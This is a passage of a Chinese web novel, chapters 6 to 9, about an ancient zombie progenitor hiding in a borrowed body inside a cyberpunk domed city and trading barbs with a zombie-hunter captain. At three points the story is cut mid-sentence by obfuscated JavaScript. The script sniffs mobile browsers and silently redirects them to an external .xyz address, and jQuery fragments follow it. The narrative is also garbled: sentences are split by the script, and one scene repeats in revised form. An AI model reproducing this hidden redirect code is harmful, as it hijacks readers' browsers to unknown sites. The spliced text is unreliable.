喂给幼年青魇的那滴尸祖之血,在千年后可以进化成他的分.身能力,自然也能被蚩蓠强化,乃至调用。
成千上万的迷你蝙蝠钻出天网,人们的视线范围内只剩下一片密密麻麻的漆黑。
“滚开啊滚开!”
几个外勤撕心裂肺地嘶叫,他们无比惊恐地发现自己已经被婴儿指甲盖大小的蝙蝠团团包围,它们无孔不入,钻进衣物的缝隙,附着在皮肤上,用尖细的口器刺入,吸取着血液和能量。
“啊啊啊啊——”
“不要啊!好疼!好疼!”
“救我!长官,救我!”
惨叫声此起彼伏,现场陷入极度混乱。
突然,一道亮如白昼的火光冲天而起,如同撕裂黑暗的雷霆,在无尽的蝙蝠黑海中硬生生杀出一条通道。
舒厌收起其他武器,手中紧握着一柄能量狂暴的电鞭,他每挥动一次,黑夜就亮起一道惨白的鞭痕,所过之处,噼啪作响,大量微型蝙蝠被焚成灰烬。
数次挥鞭之后,蝙蝠暂时被清空一片,蚩蓠趁机看清周围,那几名惨叫的外勤已是千疮百孔,暴露的皮肤上布满了细细的咬孔,血迹斑斑。
黑夜迎来了曙光,电鞭残留的高压能量在空中嘶嘶作响,形成一片暂时的安全区,蝙蝠只能绕道飞行,蚩蓠看着舒厌,心道不能再拖下去,必须帮青魇速战速决了。
蚩蓠本来就站在血棺附近,手心扬起尸毒,让毒气顺着原本安插导管的孔洞渗入棺内,棺内的尸毒极具膨胀,气压暴涨,血棺棺盖马上就要撑不住了。
舒厌敏锐地觉察到棺内异变,他掌心下压,想要控制住棺盖飞起的势头。
然而,棺内蓄积的尸毒能量与他的力量猛烈对撞,在他难以置信的目光中,那坚固无比的血棺棺盖,竟在半空中四分五裂,最后化作无数碎片激射开来。
舒厌的目光急切地投向棺内,似乎想要确认是否真的有异常能量波动。
血棺内的尸祖彻底暴露在他们面前,那是一个肤色苍白,唇色腥红的女人,心口深处插着一柄断开的桃木剑。
填鸭灌血的口枷已然脱落,她嘴角微启,挂着一丝若有若无的笑意,样子很是安详。
舒厌还想再看,却见血红眼的蝙蝠发起了最后的冲锋,自杀般蜂拥而至,死死纠缠住他的视线和行动,舒厌想要举起电鞭,动作却明显迟滞了一下。
蚩蓠将他的乏力看在眼里,心下后怕,这新躯体使用起尸毒还真是效果不佳,发作实在太慢了。
就在这短暂的阻滞下,所有的蝙蝠如同接到了统一的指令,汇聚成一股最后的黑色洪流,以惊人的速度涌向通风管道入口,瞬间消失得无影无踪。
跟随蝙蝠一同消失的,还有血棺里被封印的尸祖。
地下工厂核心区,只留下一片狼藉,碎裂的棺盖,焦黑的蝙蝠尸体,惊魂未定的外勤人员,以及……脸色阴沉得可怕的舒厌,和仿佛也被这场面吓住了的蚩蓠。
6.搅局者
能源控制署顶层会议室,气压低得仿佛能掐出水来。
长达两小时的质询刚刚结束,舒厌便收到了会议邀约,报告内容已同步到会议室主屏和与会者智脑终端。
一个面容威严的中年男人坐在长桌中央席位,食指和中指轮流敲击着光洁的桌面,发出沉闷的叩响,每一记都敲在与会者的神经上。
“所以,血晶一号地下核心工厂的监控系统,在一天前就出现了故障?整整二十四个小时,系统部无一人察觉?「归零」也毫无预警?”
「归零」是联邦专属AI的名字,以零失误和无死角监控扬名在外,职责上归系统部管辖,系统部平时是最清闲最养老的部门,从未被抓过典型,这次却闯了个大祸。
“报、报告署长,我们查过了,不光监控系统,「归零」也曾被黑客短暂入侵,大概率是青魇搞的把戏吧,我们……”
不等系统部负责人杜凡说完,联邦能源控制署的最高掌权者打断了他,仇怜央带着不容置喙的压力:“‘大概率’?意思是你们系统部到现在都没有弄清楚究竟是谁入侵了「归零」?”
“我……呃……就是……”
“舒厌,”仇怜央跳过杜凡语无伦次的回复,锐利的目光朝舒厌锁定过去,“猎尸队常年与僵尸一线交锋,署内地牢里关押的绝大部分高等僵尸也都是你的战利品,以你的经验,青魇具备直接侵入「归零」的能力吗?”
会议桌两侧十几位高层同时将目光投向舒厌。
这是蚩蓠第一次在明亮的光线下,清晰地看到舒厌完整的相貌。
他的五官轮廓与千年记忆中的宿敌有八.九分相似,但气质却截然不同。曾经的阴郁冷酷被一种时刻挂在脸上的微笑所取代,只是那笑容底下,淬着毫不掩饰的危险。
“算上青魇的分.身,我们猎尸队一共与他发生过十一次正面交锋。”舒厌语调平稳,甚至带着一丝轻松。
他调出全息作战简报,继续道:“无论是青魇的本体还是分.身,都倾向于单兵作战,战斗风格偏传统,对现代高科技武器的运用并不娴熟,到目前为止,猎尸队暂时没有收集到与青魇有关的黑客信息。”
屏幕上快速闪动着历次战斗的数据分析、武器损耗报告和战术复盘动态图。所有数据都清晰表明,每一次冲突,猎尸队方面都以较小的代价取得了胜利。
“他要么找错了目标,要么抢走了我们预设的假目标,要么干脆扑空,每一次都看似狼狈败走。”
话虽如此,舒厌却收敛起语气中的戏谑:“但是,我们不得不承认,他每次逃跑的方式都相当精彩。”
会议室里响起几声意味不明的低笑。
蚩蓠作为舒厌的生活秘书兼事件亲历者,也被允许列席,她听得出来,那些笑声中隐约透露着舒厌这是在给自己的无能找补的意思。
“这次的情况有些复杂,”舒厌话锋一转,无视那些噪音,“青魇的本体是在其分.身出事后,才锁定尸祖藏匿地点的,在此之前,地下核心工厂的监控系统已经出现故障,这才让他的分.身有机可乘,此外,他既然想要悄无声息地夺走尸祖的躯体,又何必要大张旗鼓地炸掉导管装置?所以我怀疑有第三方……”
“舒队长。”一个冰冷的女声毫不客气地打断了他,她的座位紧挨着仇怜央,桌上全息立牌写着:署长办公室主任喻风。
喻风声音不高,却句句紧逼,直中要害:“您的分析似乎避重就轻了。监控故障发生于二十四小时前,但尸祖抢夺发生在今天。
“这里头就或许的确有第三方搅局,就算黑掉「归零」、炸掉导管装置是第三方所为,但这些都不是尸祖被夺走的决定性因素。
“真正让青魇得手的,是他能突破天网防御系统的能力,‘尸身化蝠’这个异能在以往的报告中从未提及,是您的队伍疏于侦查,还是您有意忽略了这一重大威胁的升级?
与会者不断点头称是,座位在长桌两端靠后的几个人,干脆用所有人都能听见的音量毫不吝惜地夸赞。
“不愧是喻主任!”
“逻辑就是严密!”
“大内主管就是大内主管!”
杜凡终于有机会找补,也趁机踩上舒厌两脚:“就是嘛,想要夺走尸祖的人多如牛毛,有个第三方第四方也不奇怪,重点又不是谁想来抢,现在真正要紧的,难道不是青魇他本人当着咱们舒大队长的面把尸祖给抢走了嘛?!”
舒厌似乎早就对把锅扣他一人头上有心理准备,他轻笑一声,居然把焦点引向了蚩蓠。
“喻主任的问题很深刻。不过,现场并非只有我一人,我的助理寒黎也全程目睹了全过程。或许我们可以听听她的看法?关于‘尸身化蝠’是否堪称此次行动失败最关键的一环?”
他侧过身,目光看似鼓励,实则将蚩蓠彻底推到了聚光灯下,仿佛在说“解释一下?”
蚩蓠猝不及防被点名,脸上职业化的笑容几乎僵硬。
这家伙果然在这里埋着雷!
合着第三方就是说她呢。
蚩蓠斩钉截铁地开口,声音清晰透亮:“当然不是最关键的一环。”
她本不欲多言,仇怜央也在此刻缓缓起身,双手撑在桌面上,以不容置疑的口吻定了调:“青魇的异能未能调查清楚,属于猎尸队的失误,但哪个高阶僵尸没有独门异能?!
“在绝对的火力优势和系统防御面前,他本不该如此轻易得手。外勤部的装备从未短缺,真正的漏洞在于我们过度依赖,未能及时发现「归零」被外部力量渗透,这是系统性风险!”
他目光扫过全场,神色凝重:“诸位,此事关乎不夜穹隆的能源命脉。若不能及时追回尸祖,全城将面临前所未有的能源危机,接下来我要宣布的消息为绝密,任何人泄密,以叛国罪论处。”
他停顿片刻,无声的沉默压在每个与会者心头。
“我已与总统府达成共识。不夜穹隆的血晶储备,仅能维持三个月正常运转,为应对最坏情况,能源控制署必须承担起责任,即刻起,大幅提升对城内游离僵尸的清剿力度,以数量弥补质量缺口,最大限度维持血晶产量!”
仇怜央的目光最终落回舒厌身上:“舒厌,你多年辛劳,功绩有目共睹。此次事件,系统部责任更大,但猎尸队亦难辞其咎。我也没有责罚你的意思,只不过看你这几年工作辛苦,让你休息一段时间而已,从今天开始,你先卸任猎尸队队长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210298|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一职,暂由喻风兼任,把工作重心往城区外环转移转移。”
没有人提出异议,舒厌也只是微微颔首。
末了,仇怜央宣布散会:“好了,其他人可以走了,寒黎,你留下来。”
蚩蓠差点以为自己听错了,寒黎只是一个微不足道的生活秘书啊?署长要单独留她?
还是舒厌偷偷将寒黎可疑的消息单独告诉仇怜央,看似麻痹无动于衷,实则画地为牢,将她死死拴住。
这一瞬,蚩蓠拔腿就跑的心都有了。
蚩蓠坐立难安,其他人却见怪不怪,已经鱼贯离场,突然,智脑弹出一条生活号的私密消息,联系人“必须攻下器大活好绝世美男”有一条未读提示。
蚩蓠:……
必须攻下器大活好绝世美男:「所以,血棺里头有什么异常?」
对方甚至发了一个表情包,动图在眨眼,露出一对跟舒厌一模一样的浅浅酒窝。
蚩蓠头晕目眩,他居然给自己取这么个名字?
可再定睛一看,哦,原来是寒黎给舒厌私号的备注名。
……她夺舍的这具身体的原主寒黎,明恋舒厌也就算了,可实在是做法不甚得体,方法不得要领。
蚩蓠强忍扶额的冲动,赶在最后一人离开会议室的间隙,飞快回复:「长官,我搞错了,当时是蝙蝠在闹,您也看到血棺里有蝙蝠飞出来了。」
必须攻下器大活好绝世美男:「你最好待会儿也跟署长这么说。对了,友情提示一句,署长爱恋你很久了,别露馅。」
???
寒黎乍一看给人不可一世的印象,但这样的人往往在上位者面前姿态格外低,再加上她的身份是舒厌的生活秘书,这个岗位跟助理不一样。
生活秘书有时候更像全能保姆,按道理,即便她真的出现在现场且观摩了尸祖被夺的全过程,作为署长这样的高位,也不至于亲自问询她。
就像当年青魇还是她左膀右臂的时候,蚩蓠也不会越过青魇找他底下的小厮做事。
所以蚩蓠之前就怀疑,原主寒黎的身份并不简单,搞不好这也是舒厌没有揭穿她的理由。
现在好,舒厌直接不装了,甚至告诉她,署长喜欢原主寒黎很久了。
最后一人关上会议室的大门,仇怜央终于一扫方才满脸阴霾,他宠溺的脸上写着志在必得,那是经常赢的人才会出现的表情,显然在联邦混得如鱼得水,又或者,在情场也如日中天。
蚩蓠没说话,她掌心发汗,这简直比直接跟仇怜央打一架还恐怖。
椅子拖动的声音响起,仇怜央径直朝她走来,步子也越迈越快,蚩蓠已经做好了被毒蛇舔一口的准备。
果然,仇怜央一把搂住她,安抚道:“早说叫你不要去干那么危险的活,你偏不信,幸亏这次没事。”
“署长……你……”蚩蓠僵硬地推开仇怜央。
“好了好了,妈,您别生气了,现在就我俩,怎么还管我叫我署长了?这段时间您就跟着舒厌好好休息,想干什么我都不会拦着的,毕竟您这个年纪,正是谈恋爱最好的时期。”
什么?!
蚩蓠的脑壳简直如破了瓤的西瓜,他管我叫什么?!
7.认贼子
蚩蓠的思维几乎停滞。
署长?仇怜央?爱恋寒黎?!
一个生活秘书,按道理,即便她真的出现在现场并观摩了尸祖被夺的全过程,作为署长这样的高位,也不至于亲自问询她。
就像当年青魇还是她左膀右臂的时候,蚩蓠也不会越过青魇找他底下的小厮做事。
退一万步,就算仇怜央真的喜欢寒黎,想潜规则她,也没必要大庭广众之下直接要求她留下来吧?脸都不要了嘛!这绝对不合常理!
不过,原主寒黎的身份肯定不简单,舒厌的按兵不动,可能也与此有关。
没等蚩蓠理清头绪,最后一人关上大门,会议室已彻底安静下来。
仇怜央终于一扫方才满脸凝重,取而代之的是一种近乎宠溺的笑容,他脸上写着志在必得,那是经常赢的人才会出现的表情,显然在联邦混得如鱼得水,又或者,在情场也如日中天。
蚩蓠没说话,她掌心发汗,这简直比直接跟仇怜央打一架还恐怖。
椅子拖动的声音响起,仇怜央站起身,径直朝她走来,步子也越迈越快。
蚩蓠下意识后退半步,几乎要摆出防御姿态。
然而,仇怜央却在她面前站定,出乎意料地张开双臂,一把将她搂进怀里,用带着担忧和嗔怪的语气安抚道:“早叫你不要去干那么危险的活,你偏不信,这次幸好没事,要是伤着了我可怎么办?”
“署、署长?您……”蚩蓠僵硬地杵在他怀里,大脑飞速运转却一片混乱,只能勉强用手抵住对方胸膛,试图拉开一点距离。
“好了好了,妈,现在就我俩,怎么还管我叫我署长了?”
他松开她,仔细端详着她的脸,语气变得异常温和:“别生气了,这段时间您就跟着舒厌去外环待着,就当散散心,想做什么我都不会拦着您,上次跟您吵架之后,我都想通了,您这个年纪,正是享受生活、谈谈恋爱最好的时期,我不该拦着您,是儿子不对。”
什?!么?!
蚩蓠的脑壳简直如破了瓤的西瓜,他管我叫什么?!
也许是蚩蓠游离的状态让仇怜央误以为她仍在生气,他语气愈发柔软真诚。
“妈,有些话我还是得说,您谈恋爱我不反对,可是您想要什么男人得不到?我真不明白,舒厌这种油盐不进的小白脸怎么就勾了您的魂?您非要倒贴,我也顺了您的意,特意安排个‘生活秘书’的名头,好让您有充分的时间和理由接近他。”
“现在都两年了,他就算是块寒冰也该被您捂化了,怎么还这么宝贝他呢?”他小心翼翼,措辞激烈,但语气却比之前更低沉温和,“他这次犯得可不是小错,您知道事情有多严重吗?别看我刚才在会上轻描淡写,实际上总统先生在加密通讯里差点没把我电熟煮吃了。”
蚩蓠依旧梳着利落的高马尾,身上还是那件沾满尸毒与焦痕的制服,光看背影,完全就是个刚从一线撤下来的苦逼外勤。
可她面上却泛出与外形极不相称近乎圣洁的母爱光辉。
她伸出手,动作轻柔地抚弄着仇怜央梳得一丝不苟的油亮背头,像安抚一个受尽委屈的婴孩,耐心地从后脑勺梳到前额,一遍,又一遍。
“好了,妈不生气了,妈知道乖儿子不容易。”
她嗓音放得极软,心里却在冷嗤,这署长哭起鼻子来,比鼻涕虫还恶心。
“你给妈仔细说说,事情到底怎么个严重法?”
仇怜央感动得几乎真的要掉下泪来,他恨不得当场缩回母亲的怀抱,抹了把并不存在的湿润眼角:
“您终于体会到儿子这么多年的心酸了!我的强悍、高智、滴水不漏,那都是装给外人看的!其实我内心……永远住着那个需要您呵护的半大少年啊。”
“嗯嗯。”
蚩蓠面上点头附和,心底却警铃大作,这戏再演下去,她怕自己先忍不住一手拧断这“乖儿子”的脖子。
“在妈妈心里,你永远都是孩子,妈妈怎么会一直生孩子的气。”
闻言,仇怜央的语气终于肆无忌惮地拔高起来:“妈!您是不知道总统先生怎么说的!他说能源控制署要是一个月内找不回尸祖,就要把我大、卸、八、块!!!还要把我的意识体抽出来,关进赛博囚牢折磨一万年!呜……我爬到这个位置付出了多少,您最清楚,现在眼看就要一无所有了!妈,要不是看在您的面子上,我第一个就把舒厌也给卸了!”
蚩蓠本以为他多少会担忧不夜穹隆的命运,还有那些依赖血晶苟活的平民,毕竟能源危机关乎全城存亡。
结果这位署长哭嚎半天,字字句句不离他的官位和安危。
“妈知道你受委屈了。”蚩蓠压下翻白眼的冲动,敷衍地拍拍仇怜央的肩膀,脑子转得飞快。
舒厌那混蛋说什么“署长爱恋寒黎很久了”,险些把她带进沟里,此“爱恋”非彼“爱恋”,搞了半天是变态母子情。
不过,这样一来,蚩蓠反而厘清了不少困惑。
从仇怜央的年纪推断,他母亲寒黎少说也七老八十了,可蚩蓠夺舍的这具身体,年轻,矫健,肌肉线条漂亮得如同精心雕琢。
若没有使用强效青春.药剂,那更可能的是寒黎采用了富人圈层里秘而不宣的意识转移技术,在原本的躯壳年老色衰后,将意识塞进了这具年轻的女体中。
若是前者,无非是金钱的力量,可若是后者……那本质就与夺舍无异。
寒黎的原生意识,真的就被她蚩蓠彻底吞噬干净了吗?会不会在某种危急关头,那女人的意识早已悄然转移去了别的备用容器?
若真如此,她现在的处境简直是在刀尖蹦迪。
一旦仇怜央后知后觉发现自己抱着喊妈的竟是个千年老僵尸,天知道这个志得意满的上位者会用什么手段弄死她。
不过她也多少明白了舒厌为何隐而不发,被顶头上司那位八十老母天天骚话连篇地倒追,甚至不惜屈尊生活秘书的身份无死角当挂件,是个人都想干掉对方吧。
舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226594|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
厌恐怕乐得看她顶着寒黎的壳子折腾。
至于寒黎为什么确信舒厌“器大”……从他俩零星的聊天记录中能窥见一二。
这女人居然时不时利用权限偷窥舒厌洗澡,而舒厌居然前几天才察觉,气得血气上涌,告到仇怜央这边以辞职相逼,才暂时换来了对寒黎战术装备的上级管理权限,勉强保住清白。
而“活好”?那大概率是寒黎对舒厌单方面的主观臆想和强烈渴望,毕竟她曾信誓旦旦扬言要拿下对方“一血”。
蚩蓠无语,她跟寒黎的想法完全相反,舒厌绝对是个性.冷.淡,搞不好根本不举,不,是肯定不举!看他那张故作姿态的臭脾气就知道了。
想到自己竟夺舍了这么个奇葩,蚩蓠一阵恶寒,身子忍不住嫌恶地抖了抖。
“妈,您着凉了?”仇怜央瞪大了他水汪汪的老眼,体贴地脱下外套就要给蚩蓠披上。
“倒不是,”蚩蓠稳住心神,就势接话,语气却刻意冷了几分,“只是听你说要把舒厌大卸八块?这可不行。”
她嗓音里满是猥琐的玩味意味,舌头还煞有介事地舔了圈嘴角:“就算动手,那也得是妈亲自上,把他生吞活剥吞拆入腹才够味。”
仇怜央哭笑不得:“您还没放弃啊?这都两年了……诶,妈不是我说您,有时候还是得节制一下的,您要是真想放松,我立马给您安排最顶级的仿生男模,各种型号各种尺寸应有尽有。但偷看别人洗澡这种事……咳,还是少干为妙,传出去影响不好,您儿子脸上也挂不住呀。”
即便以蚩蓠千年修炼的城墙皮,耳根也发烫起来,顶着这么个外壳被“儿子”当面揭露猥琐行径,体验简直称得上惊悚。
要想维持住寒黎的人设不被发现,挑战可不是一般的大,还不如面对面厮杀呢。
“怎么还管到妈头上了,有需求我会自己解决,这点就不用你费心了。”蚩蓠摆摆手,一副长辈听不进劝的架势。
这天实在不能聊下去了,她想赶紧走人,便问:“还有什么要紧的事情吗?没有妈先回去了。”
“妈,您就不想陪儿子多说说话吗?”仇怜央露出些许真实的失望,“唉,行吧,我确实找您有事,只是这些话不方便用智脑沟通,尤其「归零」被攻击之后,通讯安全性恐怕得重新评估。”
他压低声音:“我只是明面上给舒厌撤了职,总统还是信赖这家伙的,另外给他安排了重要的机密任务,可我总觉得不放心。
“尸祖被抢,疑点太多了,越是这种实力强悍的下属,越是得经得住忠诚的考验。我思来想去,还是您最合适,最可靠,我想看看这家伙到底有没有二心?妈,帮儿子这点小忙……应该没问题吧?”
“当然。”蚩蓠语气笃定,心中却冷笑:正合我意。
她反客为主,顺势坐回仇怜央那张宽敞奢华的署长座椅,学着他先前的样子,用食指和中指有节奏地敲击着桌面。
“在亲儿子和野男人面前,你妈妈我,还是分得了轻重的。”
8.蚊子血
离开能源控制署,蚩蓠并没有立刻回到舒厌的住处,而是选择在路上更好地观察这座城市。
城市上空笼罩着巨大的透明穹顶,表面覆着抗酸雨腐蚀的暗红涂层,将整座城笼罩在沉闷压抑的色调里。
仰头望去,穹顶之外隐约有巨大的暗影游弋,时不时撞上防护层,看不清具体是什么东西。
不夜穹隆号称人类文明最后的堡垒,但实际上很多年都没有人真正离开过这里,那些因为多次拒绝献血而被迫放逐酸雨荒野区域的人,至今也没有回来过。
也就是说这座城市的人,某种程度上早已与世隔绝,对外界一无所知。
就像一座巨大而精致的棺材。
对依赖科技抵御酸雨,久不见真正阳光的人类而言,这里压抑得令人窒息。但对天生畏光,渴望阴暗的僵尸来说,却不啻于完美的巢穴。
意识到自己竟觉得这地方“不错”,蚩蓠不免自嘲。
就算意识体从棺材里苏醒,也不过只是从一具小棺材,关到了一具更大更舒适的棺材里罢了。
路上行人稀稀拉拉,多数脸色苍白,脚步虚浮,显然是长期被强制献血的后果。
即使有穹顶遮蔽,微量酸雨还是会透过防护层的缝隙或转换口渗漏进来,路人或多或少还是会撑起特制的透明小伞。
尤其那些经过大量机械化改造的人,他们的金属义体和电子元件容易受酸雨腐蚀,长期处在潮湿的环境中,义体接口处甚至能长出颜色诡异的蘑菇和苔藓。
一个装有机械臂的男人抬起手,扯掉胳肢窝机械关节缝隙中藏起来的几朵小蘑菇,随手就放到嘴里“吧唧”起来,他看到蚩蓠在看他,不仅不尴尬,反而兴奋得吹起了口哨。
“嗨!美女!要尝尝吗?新鲜特供,腌入味儿了的!”男人说着又毫不在意地从同一个地方扯了几把小蘑菇,热情地朝蚩蓠扬手。
蚩蓠尸毒汇聚掌心,被她硬生生止住了。
寒黎这身装备精良,过度使用尸毒易暴露。
她忍下不快,摸索腰间,触到一把小型手.枪和一条松垮挂在胯侧的电鞭。
这叫「噬尸电鞭」,猎尸队的标配武器之一,舒厌几个小时前才在地下核心工厂用它驱逐过青魇化身的蝙蝠群。
“唰!”她手腕一抖,长鞭窜出,绷得笔直,蓝紫色电光噼啪炸响,辐射的微弱电流已激得那男人浑身一颤,猛地跳开。
“哎哟!开玩笑的,怎么还急眼了?”他怂得极快,手里蘑菇掉了一地,连连后退。
见蚩蓠没说话,只是步步紧逼,他又跳起来后退了几大步,嚷嚷道:“我主动示好,你怎么还生气了!要不是你长得还算过得去,你以为我愿意搭理你这种女人?得得得,我绕道行了吧?凶巴巴的,谁稀罕!”
男人说到最后几个字的时候已经拔腿跑了好几米,蚩蓠本不想费这种无聊的心思继续追他,吓唬吓唬了事得了。
而且路人已经围成一圈在看热闹,她也不想刚夺舍就干出太过惹眼的事。
谁知男人跑了没多久,却哇哇大叫着被一群乌泱泱的蜜蜂追了回来。
周围看客本来还想嘲笑他来着,结果看清那并不是蜜蜂,而是每只都有指节大小的血红巨蚊时,全都脸色惨变,四散奔逃。
“是吸血蚊!快跑!”
“能源署的人死哪儿去了?只管抓僵尸不管这玩意儿吗?”
“谁管你被吸干啊!他们只在乎血晶能不能按时生产!”
蚊群嗡嗡作响,复眼泛着嗜血的红光,穷追不舍,那男人裸露的皮肤鼓起密密麻麻的红肿脓包,只有机械臂幸免于难,他惨叫连连,模样惨不忍睹。
蚩蓠却不退反进,唇角微不可察地一勾,她甚至伸出手,让一只飞近的巨蚊稳稳落上掌心。
她不动声色引着那蚊子,七拐八绕,疾步穿行,最终闪入一个监控死角的僻静巷弄。
她低头,对着掌心那只蚊子发出嗡鸣:
“青魇,是你吗?”
“蚩蓠大人!是我。”蚊子细长口器震颤,激动回应,“您终于醒了!如果不是您危急关头强化我分.身化形的能力,青魇恐怕再也没法见到您。请您恕罪,今时不同往日,我被严密监控
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233766|181112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,无法现身找您,只得用这种笨办法了。”
“不笨,很聪明,你这分.身化形的异能进化得非常精妙。”蚩蓠真心赞许。
“蚩蓠大人谬赞!自从您被封印后,那些继承您始祖之力诞生的僵尸,都陆续觉醒了独有异能,我这分.身化形的异能就是其中之一,我们进化的异能都源自您的恩赐!”
“青魇,你就别谦虚了,我仅仅只是感知并强化你的异能而已。”
“蚩蓠大人,我长话短说。您的身体已安全接回隐秘据点,可……可无论如何尝试,都无法拔出您心口那柄桃木断剑!这该如何是好?”
蚩蓠并不意外:“那天舒厌所使用的封印秘术相当阴毒,桃木剑是猎人氏族代代相传的克尸圣物,非常不好对付。我猜,应该得由舒厌或他的后代亲自拔出,才能解除封印。”
“据我所知,舒厌将您封印后,不久就离奇被杀了,他没有血亲后代,现在猎尸队里的舒厌,名字虽然一样,恐怕只是当年猎人的远亲。”
“是么?死得还挺快。”蚩蓠无不讽刺地冷笑,“行吧,我知道了,解封之事没那么容易,我需要继续用寒黎这具身体潜伏一段时间,另外,你帮我调查一下,寒黎原本的意识体是否还活着,有没有可能转移到别的地方去了?”
“遵命。”青魇化身的蚊子嗡鸣声陡然变高。
“以后我们就通过蚊子联络,不过你可以化身再小一点,大蚊子还是有点惹眼。”
“好的,我下次——”
“啪!”
一声清脆爆响。
舒厌鬼魅般悄无声息地现身,快得只剩残影,抬手精准一拍。
那只与蚩蓠对话的青魇分身蚊,在他掌心化为微不足道的一小滩污血。
蚩蓠完全不及反应,只怔怔看着他行云流水的动作,及掌心那抹刺目的红。
舒厌慢条斯理取出消毒湿巾,仔细擦拭每一根手指,仿佛只是拍死了只普通蚊虫,擦干净后才抬眸看她,挑眉问道,语气自然得像上级关怀下属:
“帮你拍死只吵人的蚊子而已,有什么问题吗?”
9.怪我了
“帮你拍死只吵人的蚊子而已,有什么问题吗?”
舒厌那副理所应当的关切表情,仿佛之前一脚将蚩蓠踹进地下工厂的不是他,挖坑说仇怜央爱恋她的也不是他一样。
蚩蓠望着掌心那摊蚊子残骸,太阳穴突突直跳。
幸好,这只是青魇万千分.身中的一个。
她收拾起情绪,扯出一个无懈可击的笑容:“当然没有问题,那就谢谢长官关心啦。”
舒厌:“不用客气。”
蚩蓠实在看不惯他装模作样,事到如今,两人之间就差一层没有捅破的窗户纸,她干脆单刀直入:“所以,长官,请问您是在跟踪我吗?”
舒厌脸不红心不跳,甚至微微倾身,拉近了两人的距离。
“会上你也听到,我被撤职了,反正闲着也是闲着,就在署门口瞎逛悠,看你一出大门就左右张望,眼神……嗯,挺新奇的,不像在这城里住了几十年的人,我担心你在不夜穹隆迷路,只好一路跟着。怎么?怪我了?”
他最后那句“怪我了”,语调拖得又慢又暧昧,如果寒黎本尊还在,恐怕早就心花怒放,要猛虎扑食了。
“哈哈。”蚩蓠心里骂了一句,面上却笑得更加灿烂,她干脆豁出去把身子往前贴近了一大步,手指看似无意地在舒厌胸前战术背心的带子上划了一下。
“怎么敢呢,长官您这么体贴入微,我感动还来不及呢。既然您这么好心,又这么闲的话,不如,送佛送到西,送我回家怎么样?”
说话间,蚩蓠用义眼不动声色地将舒厌扫了个遍。
舒厌机械化程度不算太高,但极其精准,只有手掌、脖颈、头骨和心脏被义体取代,全是针对吸血僵尸的致命点。
她忍不住在脑中飞速模拟与他正面冲突的每一种可能,思考如何拆解这些防御,如何才能真正伤到他。
最关键的,要如何让这家伙乖乖听话,去拔掉她本体心腔深处的桃木剑。
“回家?”舒厌抓住她的话柄,似笑非笑,“寒黎,你在不夜穹隆生活了这么多年,还要我来带你回自己家?你是突然失忆了?还是……这里头换了个人?”
舒厌指了指自己脑袋,他果然一刻不停地在试探。
蚩蓠反应极快,立刻摆出一副委屈又嗔怪的表情,甚至还跺了跺脚:“长官!人家是要去你家啦!作为您的生活秘书,贴身照料您不是应该的嘛,这次就别赶我走啦。”
舒厌噎住,自知掉进了蚩蓠的语言陷阱,那双深极黑极的眼睛盯着她看了两秒,抱臂道:“行,不过下次用义眼扫描我的时候,记得关掉扫描感应光。”
蚩蓠:……
居然栽倒在这种蠢玩意里头。
但戏还得演,她面不改色,甚至带点谄媚:“好嘞!多谢长官提醒。”
舒厌一副早就看透她的表情,扬起下颚,示意她跟上。
蚩蓠屁颠屁颠地跟在后头,完全一副小跟班模样,彻底把尸祖的架子抛在了脑后,有一搭没一搭地继续问。
“长官,您不是接管了我的战术装备管理权限吗?那……义眼算战术装备吗?就算我关掉感应光,您会不会也能知道我干了什么?”
舒厌脚步不停:“嗯,你用这具身体干任何事情我都知道。”
艹!那你说个毛线。
刚才还看着她演?
蚩蓠快走两步与他并肩,夸张地扑扇着睫毛,开始破罐子破摔:“那既然……我以后干什么您都知道,我岂不是不能偷看您洗澡了?”
如果目光可以切割,此刻的蚩蓠恐怕已经被舒厌削成薄饼了。
“你说呢?”
蚩蓠得寸进尺,用手指敲了敲他结实的胸膛,语气惋惜又猥琐:“哎呀,真可惜~虽然不能看实况直播,但是我有库存呀!您瞧瞧,好几个T呢!长官,您要是哪天兴致来了,想回味一下两年前的青涩模样,随时找我哦,不收钱。”
舒厌的脚步几不可查地顿了一下,蚩蓠几乎能听到他后槽牙摩擦的声音,他从牙缝里挤出三个字。
“不!需!要!”
“嘻嘻。好!嘞!”
蚩蓠笑容灿烂,扳回一城的感觉真好。
车门无声滑开,他俩前后脚坐进悬浮车,汽车是全自动驾驶的,连假装忙碌操作的机会都没有。
空间被一种诡异的安静填满,俩人大眼瞪小眼,蚩蓠瞪得眼皮发酸,胜负欲却让她毫不退缩,最后,还是舒厌先败下阵来,以一种“大人不记小人过”的姿态,移开了视线。
蚩蓠赢是赢了,可人却无聊起来。
